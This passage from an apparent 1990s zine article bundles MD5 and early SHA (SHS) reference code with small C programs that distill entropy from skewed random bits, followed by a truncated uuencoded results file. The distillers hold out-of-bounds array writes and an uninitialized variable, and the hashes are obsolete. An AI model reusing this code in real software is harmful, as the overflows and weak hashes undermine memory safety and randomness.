                (((UINT4)mdContext->in[ii+1]) << 8) |
                ((UINT4)mdContext->in[ii]);
      Transform (mdContext->buf, in);
      mdi = 0;
    }
  }
}

/* The routine MD5Final terminates the message-digest computation and
   ends with the desired message digest in mdContext->digest[0...15].
 */
void MD5Final (mdContext)
MD5_CTX *mdContext;
{
  UINT4 in[16];
  int mdi;
  unsigned int i, ii;
  unsigned int padLen;

  /* save number of bits */
  in[14] = mdContext->i[0];
  in[15] = mdContext->i[1];

  /* compute number of bytes mod 64 */
  mdi = (int)((mdContext->i[0] >> 3) & 0x3F);

  /* pad out to 56 mod 64 */
  padLen = (mdi < 56) ? (56 - mdi) : (120 - mdi);
  MD5Update (mdContext, PADDING, padLen);

  /* append length in bits and transform */
  for (i = 0, ii = 0; i < 14; i++, ii += 4)
    in[i] = (((UINT4)mdContext->in[ii+3]) << 24) |
            (((UINT4)mdContext->in[ii+2]) << 16) |
            (((UINT4)mdContext->in[ii+1]) << 8) |
            ((UINT4)mdContext->in[ii]);
  Transform (mdContext->buf, in);

  /* store buffer in digest */
  for (i = 0, ii = 0; i < 4; i++, ii += 4) {
    mdContext->digest[ii] = (unsigned char)(mdContext->buf[i] & 0xFF);
    mdContext->digest[ii+1] =
      (unsigned char)((mdContext->buf[i] >> 8) & 0xFF);
    mdContext->digest[ii+2] =
      (unsigned char)((mdContext->buf[i] >> 16) & 0xFF);
    mdContext->digest[ii+3] =
      (unsigned char)((mdContext->buf[i] >> 24) & 0xFF);
  }
}

/* Basic MD5 step. Transforms buf based on in.
 */
static void Transform (buf, in)
UINT4 *buf;
UINT4 *in;
{
  UINT4 a = buf[0], b = buf[1], c = buf[2], d = buf[3];

  /* Round 1 */
#define S11 7
#define S12 12
#define S13 17
#define S14 22
  FF ( a, b, c, d, in[ 0], S11, 3614090360); /* 1 */
  FF ( d, a, b, c, in[ 1], S12, 3905402710); /* 2 */
  FF ( c, d, a, b, in[ 2], S13,  606105819); /* 3 */
  FF ( b, c, d, a, in[ 3], S14, 3250441966); /* 4 */
  FF ( a, b, c, d, in[ 4], S11, 4118548399); /* 5 */
  FF ( d, a, b, c, in[ 5], S12, 1200080426); /* 6 */
  FF ( c, d, a, b, in[ 6], S13, 2821735955); /* 7 */
  FF ( b, c, d, a, in[ 7], S14, 4249261313); /* 8 */
  FF ( a, b, c, d, in[ 8], S11, 1770035416); /* 9 */
  FF ( d, a, b, c, in[ 9], S12, 2336552879); /* 10 */
  FF ( c, d, a, b, in[10], S13, 4294925233); /* 11 */
  FF ( b, c, d, a, in[11], S14, 2304563134); /* 12 */
  FF ( a, b, c, d, in[12], S11, 1804603682); /* 13 */
  FF ( d, a, b, c, in[13], S12, 4254626195); /* 14 */
  FF ( c, d, a, b, in[14], S13, 2792965006); /* 15 */
  FF ( b, c, d, a, in[15], S14, 1236535329); /* 16 */

  /* Round 2 */
#define S21 5
#define S22 9
#define S23 14
#define S24 20
  GG ( a, b, c, d, in[ 1], S21, 4129170786); /* 17 */
  GG ( d, a, b, c, in[ 6], S22, 3225465664); /* 18 */
  GG ( c, d, a, b, in[11], S23,  643717713); /* 19 */
  GG ( b, c, d, a, in[ 0], S24, 3921069994); /* 20 */
  GG ( a, b, c, d, in[ 5], S21, 3593408605); /* 21 */
  GG ( d, a, b, c, in[10], S22,   38016083); /* 22 */
  GG ( c, d, a, b, in[15], S23, 3634488961); /* 23 */
  GG ( b, c, d, a, in[ 4], S24, 3889429448); /* 24 */
  GG ( a, b, c, d, in[ 9], S21,  568446438); /* 25 */
  GG ( d, a, b, c, in[14], S22, 3275163606); /* 26 */
  GG ( c, d, a, b, in[ 3], S23, 4107603335); /* 27 */
  GG ( b, c, d, a, in[ 8], S24, 1163531501); /* 28 */
  GG ( a, b, c, d, in[13], S21, 2850285829); /* 29 */
  GG ( d, a, b, c, in[ 2], S22, 4243563512); /* 30 */
  GG ( c, d, a, b, in[ 7], S23, 1735328473); /* 31 */
  GG ( b, c, d, a, in[12], S24, 2368359562); /* 32 */

  /* Round 3 */
#define S31 4
#define S32 11
#define S33 16
#define S34 23
  HH ( a, b, c, d, in[ 5], S31, 4294588738); /* 33 */
  HH ( d, a, b, c, in[ 8], S32, 2272392833); /* 34 */
  HH ( c, d, a, b, in[11], S33, 1839030562); /* 35 */
  HH ( b, c, d, a, in[14], S34, 4259657740); /* 36 */
  HH ( a, b, c, d, in[ 1], S31, 2763975236); /* 37 */
  HH ( d, a, b, c, in[ 4], S32, 1272893353); /* 38 */
  HH ( c, d, a, b, in[ 7], S33, 4139469664); /* 39 */
  HH ( b, c, d, a, in[10], S34, 3200236656); /* 40 */
  HH ( a, b, c, d, in[13], S31,  681279174); /* 41 */
  HH ( d, a, b, c, in[ 0], S32, 3936430074); /* 42 */
  HH ( c, d, a, b, in[ 3], S33, 3572445317); /* 43 */
  HH ( b, c, d, a, in[ 6], S34,   76029189); /* 44 */
  HH ( a, b, c, d, in[ 9], S31, 3654602809); /* 45 */
  HH ( d, a, b, c, in[12], S32, 3873151461); /* 46 */
  HH ( c, d, a, b, in[15], S33,  530742520); /* 47 */
  HH ( b, c, d, a, in[ 2], S34, 3299628645); /* 48 */

  /* Round 4 */
#define S41 6
#define S42 10
#define S43 15
#define S44 21
  II ( a, b, c, d, in[ 0], S41, 4096336452); /* 49 */
  II ( d, a, b, c, in[ 7], S42, 1126891415); /* 50 */
  II ( c, d, a, b, in[14], S43, 2878612391); /* 51 */
  II ( b, c, d, a, in[ 5], S44, 4237533241); /* 52 */
  II ( a, b, c, d, in[12], S41, 1700485571); /* 53 */
  II ( d, a, b, c, in[ 3], S42, 2399980690); /* 54 */
  II ( c, d, a, b, in[10], S43, 4293915773); /* 55 */
  II ( b, c, d, a, in[ 1], S44, 2240044497); /* 56 */
  II ( a, b, c, d, in[ 8], S41, 1873313359); /* 57 */
  II ( d, a, b, c, in[15], S42, 4264355552); /* 58 */
  II ( c, d, a, b, in[ 6], S43, 2734768916); /* 59 */
  II ( b, c, d, a, in[13], S44, 1309151649); /* 60 */
  II ( a, b, c, d, in[ 4], S41, 4149444226); /* 61 */
  II ( d, a, b, c, in[11], S42, 3174756917); /* 62 */
  II ( c, d, a, b, in[ 2], S43,  718787259); /* 63 */
  II ( b, c, d, a, in[ 9], S44, 3951481745); /* 64 */

  buf[0] += a;
  buf[1] += b;
  buf[2] += c;
  buf[3] += d;
}

/*
 ***********************************************************************
 ** End of md5.c                                                      **
 ******************************** (cut) ********************************
 */
<-->
<++> bleach/md5/md5c.h
/*
 ***********************************************************************
 ** md5.h -- header file for implementation of MD5                    **
 ** RSA Data Security, Inc. MD5 Message-Digest Algorithm              **
 ** Created: 2/17/90 RLR                                              **
 ** Revised: 12/27/90 SRD,AJ,BSK,JT Reference C version               **
 ** Revised (for MD5): RLR 4/27/91                                    **
 **   -- G modified to have y&~z instead of y&z                       **
 **   -- FF, GG, HH modified to add in last register done             **
 **   -- Access pattern: round 2 works mod 5, round 3 works mod 3     **
 **   -- distinct additive constant for each step                     **
 **   -- round 4 added, working mod 7                                 **
 ***********************************************************************
 */

/*
 ***********************************************************************
 ** Copyright (C) 1990, RSA Data Security, Inc. All rights reserved.  **
 **                                                                   **
 ** License to copy and use this software is granted provided that    **
 ** it is identified as the "RSA Data Security, Inc. MD5 Message-     **
 ** Digest Algorithm" in all material mentioning or referencing this  **
 ** software or this function.                                        **
 **                                                                   **
 ** License is also granted to make and use derivative works          **
 ** provided that such works are identified as "derived from the RSA  **
 ** Data Security, Inc. MD5 Message-Digest Algorithm" in all          **
 ** material mentioning or referencing the derived work.              **
 **                                                                   **
 ** RSA Data Security, Inc. makes no representations concerning       **
 ** either the merchantability of this software or the suitability    **
 ** of this software for any particular purpose.  It is provided "as  **
 ** is" without express or implied warranty of any kind.              **
 **                                                                   **
 ** These notices must be retained in any copies of any part of this  **
 ** documentation and/or software.                                    **
 ***********************************************************************
 */

/* typedef a 32-bit type */
typedef unsigned long int UINT4;

/* Data structure for MD5 (Message-Digest) computation */
typedef struct {
  UINT4 i[2];                   /* number of _bits_ handled mod 2^64 */
  UINT4 buf[4];                                    /* scratch buffer */
  unsigned char in[64];                              /* input buffer */
  unsigned char digest[16];     /* actual digest after MD5Final call */
} MD5_CTX;

void MD5Init ();
void MD5Update ();
void MD5Final ();

/*
 ***********************************************************************
 ** End of md5.h                                                      **
 ******************************** (cut) ********************************
 */
<-->

<++> bleach/md5_distill.c
#include <stdio.h>
#include "md5/md5.h"

main ()
{
	MD5_CTX md5Info;
	
	unsigned char c[16];

	while (fread(c, 1,16,stdin) == 16)
	{
		MD5Init(&md5Info);
		MD5Update(&md5Info,c,16);
		MD5Final(&md5Info);
		fwrite(md5Info.digest,1,16,stdout);
	}
}
<-->

<++> bleach/sha/shs.c
/* --------------------------------- SHS.C ------------------------------- */

/*
 * NIST proposed Secure Hash Standard.
 *
 * Written 2 September 1992, Peter C. Gutmann.
 * This implementation placed in the public domain.
 *
 * Comments to pgut1@cs.aukuni.ac.nz
 */

#include <string.h>
#include "shs.h"

/* The SHS f()-functions */

#define f1(x,y,z)   ( ( x & y ) | ( ~x & z ) )		  /* Rounds  0-19 */
#define f2(x,y,z)   ( x ^ y ^ z )			  /* Rounds 20-39 */
#define f3(x,y,z)   ( ( x & y ) | ( x & z ) | ( y & z ) ) /* Rounds 40-59 */
#define f4(x,y,z)   ( x ^ y ^ z )			  /* Rounds 60-79 */

/* The SHS Mysterious Constants */

#define K1  0x5A827999L 	/* Rounds  0-19 */
#define K2  0x6ED9EBA1L 	/* Rounds 20-39 */
#define K3  0x8F1BBCDCL 	/* Rounds 40-59 */
#define K4  0xCA62C1D6L 	/* Rounds 60-79 */

/* SHS initial values */

#define h0init	0x67452301L
#define h1init	0xEFCDAB89L
#define h2init	0x98BADCFEL
#define h3init	0x10325476L
#define h4init	0xC3D2E1F0L

/* 32-bit rotate - kludged with shifts */

#define S(n,X)	((X << n) | (X >> (32 - n)))

/* The initial expanding function */

#define expand(count)	W [count] = W [count - 3] ^ W [count - 8] ^ W [count - 14] ^ W [count - 16]

/* The four SHS sub-rounds */

#define subRound1(count)    \
	{ \
		temp = S (5, A) + f1 (B, C, D) + E + W [count] + K1; \
		E = D; \
		D = C; \
		C = S (30, B); \
		B = A; \
		A = temp; \
	}

#define subRound2(count)    \
	{ \
		temp = S (5, A) + f2 (B, C, D) + E + W [count] + K2; \
		E = D; \
		D = C; \
		C = S (30, B); \
		B = A; \
		A = temp; \
	}

#define subRound3(count)    \
	{ \
		temp = S (5, A) + f3 (B, C, D) + E + W [count] + K3; \
		E = D; \
		D = C; \
		C = S (30, B); \
		B = A; \
		A = temp; \
	}

#define subRound4(count)    \
	{ \
		temp = S (5, A) + f4 (B, C, D) + E + W [count] + K4; \
		E = D; \
		D = C; \
		C = S (30, B); \
		B = A; \
		A = temp; \
	}

/* The two buffers of 5 32-bit words */

LONG h0, h1, h2, h3, h4;
LONG A, B, C, D, E;

local void byteReverse OF((LONG *buffer, int byteCount));
void shsTransform OF((SHS_INFO *shsInfo));

/* Initialize the SHS values */

void shsInit (shsInfo)
	SHS_INFO *shsInfo;
{
	/* Set the h-vars to their initial values */
	shsInfo->digest [0] = h0init;
	shsInfo->digest [1] = h1init;
	shsInfo->digest [2] = h2init;
	shsInfo->digest [3] = h3init;
	shsInfo->digest [4] = h4init;

	/* Initialise bit count */
	shsInfo->countLo = shsInfo->countHi = 0L;
}

/*
 * Perform the SHS transformation.  Note that this code, like MD5, seems to
 * break some optimizing compilers - it may be necessary to split it into
 * sections, eg based on the four subrounds
 */

void shsTransform (shsInfo)
	SHS_INFO *shsInfo;
{
	LONG W [80], temp;
	int i;

	/* Step A.	Copy the data buffer into the local work buffer */
	for (i = 0; i < 16; i++)
		W [i] = shsInfo->data [i];

	/* Step B.	Expand the 16 words into 64 temporary data words */
	expand (16); expand (17); expand (18); expand (19); expand (20);
	expand (21); expand (22); expand (23); expand (24); expand (25);
	expand (26); expand (27); expand (28); expand (29); expand (30);
	expand (31); expand (32); expand (33); expand (34); expand (35);
	expand (36); expand (37); expand (38); expand (39); expand (40);
	expand (41); expand (42); expand (43); expand (44); expand (45);
	expand (46); expand (47); expand (48); expand (49); expand (50);
	expand (51); expand (52); expand (53); expand (54); expand (55);
	expand (56); expand (57); expand (58); expand (59); expand (60);
	expand (61); expand (62); expand (63); expand (64); expand (65);
	expand (66); expand (67); expand (68); expand (69); expand (70);
	expand (71); expand (72); expand (73); expand (74); expand (75);
	expand (76); expand (77); expand (78); expand (79);

	/* Step C.	Set up first buffer */
	A = shsInfo->digest [0];
	B = shsInfo->digest [1];
	C = shsInfo->digest [2];
	D = shsInfo->digest [3];
	E = shsInfo->digest [4];

	/* Step D.	Serious mangling, divided into four sub-rounds */
	subRound1  (0); subRound1  (1); subRound1  (2); subRound1  (3);
	subRound1  (4); subRound1  (5); subRound1  (6); subRound1  (7);
	subRound1  (8); subRound1  (9); subRound1 (10); subRound1 (11);
	subRound1 (12); subRound1 (13); subRound1 (14); subRound1 (15);
	subRound1 (16); subRound1 (17); subRound1 (18); subRound1 (19);

	subRound2 (20); subRound2 (21); subRound2 (22); subRound2 (23);
	subRound2 (24); subRound2 (25); subRound2 (26); subRound2 (27);
	subRound2 (28); subRound2 (29); subRound2 (30); subRound2 (31);
	subRound2 (32); subRound2 (33); subRound2 (34); subRound2 (35);
	subRound2 (36); subRound2 (37); subRound2 (38); subRound2 (39);

	subRound3 (40); subRound3 (41); subRound3 (42); subRound3 (43);
	subRound3 (44); subRound3 (45); subRound3 (46); subRound3 (47);
	subRound3 (48); subRound3 (49); subRound3 (50); subRound3 (51);
	subRound3 (52); subRound3 (53); subRound3 (54); subRound3 (55);
	subRound3 (56); subRound3 (57); subRound3 (58); subRound3 (59);

	subRound4 (60); subRound4 (61); subRound4 (62); subRound4 (63);
	subRound4 (64); subRound4 (65); subRound4 (66); subRound4 (67);
	subRound4 (68); subRound4 (69); subRound4 (70); subRound4 (71);
	subRound4 (72); subRound4 (73); subRound4 (74); subRound4 (75);
	subRound4 (76); subRound4 (77); subRound4 (78); subRound4 (79);

	/* Step E.	Build message digest */
	shsInfo->digest [0] += A;
	shsInfo->digest [1] += B;
	shsInfo->digest [2] += C;
	shsInfo->digest [3] += D;
	shsInfo->digest [4] += E;
}

local void byteReverse (buffer, byteCount)
	LONG *buffer;
	int byteCount;
{
	LONG value;
	int count;

	/*
	 * Find out what the byte order is on this machine.
	 * Big endian is for machines that place the most significant byte
	 * first (eg. Sun SPARC). Little endian is for machines that place
	 * the least significant byte first (eg. VAX).
	 *
	 * We figure out the byte order by stuffing a 2 byte string into a
	 * short and examining the left byte. '@' = 0x40  and  'P' = 0x50
	 * If the left byte is the 'high' byte, then it is 'big endian'.
	 * If the left byte is the 'low' byte, then the machine is 'little
	 * endian'.
	 *
	 *                          -- Shawn A. Clifford (sac@eng.ufl.edu)
	 */

	/*
	 * Several bugs fixed       -- Pat Myrto (pat@rwing.uucp)
	 */

	if ((*(unsigned short *) ("@P") >> 8) == '@')
		return;

	byteCount /= sizeof (LONG);
	for (count = 0; count < byteCount; count++) {
		value = (buffer [count] << 16) | (buffer [count] >> 16);
		buffer [count] = ((value & 0xFF00FF00L) >> 8) | ((value & 0x00FF00FFL) << 8);
	}
}

/*
 * Update SHS for a block of data.  This code assumes that the buffer size is
 * a multiple of SHS_BLOCKSIZE bytes long, which makes the code a lot more
 * efficient since it does away with the need to handle partial blocks
 * between calls to shsUpdate()
 */

void shsUpdate (shsInfo, buffer, count)
	SHS_INFO *shsInfo;
	BYTE *buffer;
	int count;
{
	/* Update bitcount */
	if ((shsInfo->countLo + ((LONG) count << 3)) < shsInfo->countLo)
		 shsInfo->countHi++;	/* Carry from low to high bitCount */
	shsInfo->countLo += ((LONG) count << 3);
	shsInfo->countHi += ((LONG) count >> 29);

	/* Process data in SHS_BLOCKSIZE chunks */
	while (count >= SHS_BLOCKSIZE) {
		memcpy (shsInfo->data, buffer, SHS_BLOCKSIZE);
		byteReverse (shsInfo->data, SHS_BLOCKSIZE);
		shsTransform (shsInfo);
		buffer += SHS_BLOCKSIZE;
		count -= SHS_BLOCKSIZE;
	}

	/*
	 * Handle any remaining bytes of data.
	 * This should only happen once on the final lot of data
	 */
	memcpy (shsInfo->data, buffer, count);
}

void shsFinal (shsInfo)
	SHS_INFO *shsInfo;
{
	int count;
	LONG lowBitcount = shsInfo->countLo, highBitcount = shsInfo->countHi;

	/* Compute number of bytes mod 64 */
	count = (int) ((shsInfo->countLo >> 3) & 0x3F);

	/*
	 * Set the first char of padding to 0x80.
	 * This is safe since there is always at least one byte free
	 */
	((BYTE *) shsInfo->data) [count++] = 0x80;

	/* Pad out to 56 mod 64 */
	if (count > 56) {
		/* Two lots of padding:  Pad the first block to 64 bytes */
		memset ((BYTE *) shsInfo->data + count, 0, 64 - count);
		byteReverse (shsInfo->data, SHS_BLOCKSIZE);
		shsTransform (shsInfo);

		/* Now fill the next block with 56 bytes */
		memset (shsInfo->data, 0, 56);
	} else
		/* Pad block to 56 bytes */
		memset ((BYTE *) shsInfo->data + count, 0, 56 - count);
	byteReverse (shsInfo->data, SHS_BLOCKSIZE);

	/* Append length in bits and transform */
	shsInfo->data [14] = highBitcount;
	shsInfo->data [15] = lowBitcount;

	shsTransform (shsInfo);
	byteReverse (shsInfo->data, SHS_DIGESTSIZE);
}
<-->
<++> bleach/sha/shs.h

/* --------------------------------- SHS.H ------------------------------- */

/*
 * NIST proposed Secure Hash Standard. 
 *
 * Written 2 September 1992, Peter C. Gutmann.
 * This implementation placed in the public domain. 
 *
 * Comments to pgut1@cs.aukuni.ac.nz 
 */

/* Useful defines/typedefs */

#ifndef SHS_H
#define SHS_H

typedef unsigned char BYTE;
typedef unsigned long LONG;

/* The SHS block size and message digest sizes, in bytes */

#define SHS_BLOCKSIZE	64
#define SHS_DIGESTSIZE	20

/* The structure for storing SHS info */

typedef struct {
	LONG digest [5];	/* Message digest */
	LONG countLo, countHi;	/* 64-bit bit count */
	LONG data [16];		/* SHS data buffer */
} SHS_INFO;

/* Turn off prototypes if requested */
#if (defined(NOPROTO) && defined(PROTO))
#	undef PROTO
#endif

/* Used to remove arguments in function prototypes for non-ANSI C */
#ifdef PROTO
#	define OF(a) a
#else	/* !PROTO */
#	define OF(a) ()
#endif	/* ?PROTO */

#define	local	static

void shsInit OF((SHS_INFO *shsInfo));
void shsUpdate OF((SHS_INFO *shsInfo, BYTE *buffer, int count));
void shsFinal OF((SHS_INFO *shsInfo));

#endif
<-->

<++> bleach/sha_distill.c
#include <stdio.h>
#include "sha/shs.h"

main ()
{
	SHS_INFO shsInfo;
	
	unsigned char c[20];

	while (fread(c, 1,20,stdin) == 20)
	{
		shsInit(&shsInfo);
		shsUpdate(&shsInfo,c,20);
		shsFinal(&shsInfo);
		fwrite(&shsInfo,1,20,stdout);
	}
}
<-->

<++> bleach/transmap.c
/* 
    Implementation of von Neumann's transistion mapping scheme to de-skew
    a series of random bits. See 5.2.2 of RFC1750 for more information.
*/

#include <stdio.h>
char reconstruct_byte(char *byte_ary);
main ()
{
	char c, b1, b2, i, j;
	char byte[7];
	j=0;
	while ( !feof(stdin) )
	{
		fread(&c, 1,1,stdin);
		for (i=7; i>=0; i-=2)
		{
			b1=((c>>i)&1); /* integer representation of bit i */
			b2=((c>>(i-1))&1); 
			if ( (b1==1) && (b2==0) ) /* translation of 10 */
			{
				byte[j]=1;
				j++;
			}
			if ( (b1==0) && (b2==1) ) /* translation of 01 */
			{
				byte[j]=0;
				j++;
			}
		}
		if (j>7)
		{
			putc(reconstruct_byte(byte),stdout);
			j=0;
		}
	} 
}		
char reconstruct_byte(char *byte_ary)
{
        char i;
        char r = 0;
        for (i=0; i<=7; i++)
        {
                r<<=1;
                r|=byte_ary[i];
        }
        return r;
} 
<-->

<++> bleach/xor_distill.c
/* Distills entropy from a stream of skewed random bits by XORing
   each bit in a byte against each other to obtain 1 output bit per
   input byte. 8 such bits are reconstructed into a byte.
*/
#include <stdio.h>
char reconstruct_byte(char *byte_ary);
char xor_bits(char c);
main ()
{
	char byte[7];
	char c[7];
	char i;
	while (fread(c,1,8,stdin) == 8)
	{
		for (i=0; i<=7; i++)
			byte[i]=xor_bits(c[i]);
		putc(reconstruct_byte(byte), stdout);
	}
}		
char xor_bits(char c)
{
	char i, f;
	f=(c>>i)&1;
	for (i=6; i>=0; i--)
		f^=(c>>i)&1;
	return f;
}
char reconstruct_byte(char *byte_ary)
{
        char i;
        char r = 0;
        for (i=0; i<=7; i++)
        {
                r<<=1;
                r|=byte_ary[i];
        }
        return r;
}
<-->

----[  Postscript file detailing empirical results

<++> bleach/random.ps.gz.uue
begin 644 random.ps.gz
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
